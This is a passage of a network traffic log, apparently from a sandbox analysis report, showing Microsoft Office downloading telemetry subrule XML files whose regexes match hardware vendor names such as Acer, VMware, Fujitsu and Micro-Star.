2025-04-02 06:39:15 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:14 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 1b24004d-e01e-003c-7499-a3c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063914Z-17cccd5449bj2v8mhC1EWR5asn0000000fdg000000007meu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:15 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.17	49746	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:14 UTC	199	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:15 UTC	498	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:14 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 13c018ae-a01e-0098-5580-a38556000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063914Z-17cccd5449bqvwqkhC1EWR1rfs000000151g000000000wk5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T1 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2025-04-02 06:39:15 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.17	49745	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:14 UTC	199	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:15 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:14 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: c3e0eda0-f01e-0052-1599-a39224000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063914Z-17cccd5449blprb2hC1EWRvwmn0000001500000000004e5z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:15 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.17	49747	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:14 UTC	199	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:15 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:15 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: c5e94065-501e-0016-5599-a3181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063915Z-17cccd5449bzw64jhC1EWRz23400000014zg000000005n8t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:15 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.17	49748	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:15 UTC	199	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:15 UTC	498	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:15 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 4642ad86-e01e-0052-4c96-a3d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063915Z-17cccd5449bhkn97hC1EWRp7ew00000014z00000000070wp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_REMOTE_HIT X-Cache-Info: L2_T1 Accept-Ranges: bytes
2025-04-02 06:39:15 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.17	49749	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:15 UTC	199	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:15 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:15 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 767932e4-c01e-0034-7599-a32af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063915Z-17cccd5449bzd7mthC1EWRrdxw00000014xg00000000awt5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:15 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.17	49750	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:15 UTC	199	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:15 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:15 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 57d8c7c7-901e-00a0-6c99-a36a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063915Z-17cccd5449bvj9xqhC1EWRh59s000000150g0000000032u7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:15 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.17	49751	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:15 UTC	199	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:15 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:15 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 81ad4f7e-a01e-0084-6f99-a39ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063915Z-17cccd5449bq6f54hC1EWRb85w00000014y0000000009nzs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:15 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.17	49752	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:15 UTC	199	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:15 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:15 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 8c141d3c-801e-00ac-1e99-a3fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063915Z-17cccd5449bzd7mthC1EWRrdxw00000014ug00000000kyfw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:15 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.17	49753	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:15 UTC	199	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:16 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:15 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: eb380c01-001e-0079-3a99-a312e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063915Z-17cccd5449bk9jrqhC1EWRqvg4000000070g00000000ec6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:16 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.17	49754	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:15 UTC	199	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:16 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:15 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 9dd4ed14-001e-0028-0f99-a3c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063915Z-17cccd5449b89qrjhC1EWR229800000014vg00000000fqnn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:16 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.17	49755	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:15 UTC	199	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:16 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:16 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 81ad5129-a01e-0084-1099-a39ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063915Z-17cccd5449blr9xfhC1EWR6mgs00000014yg000000008cuq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:16 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

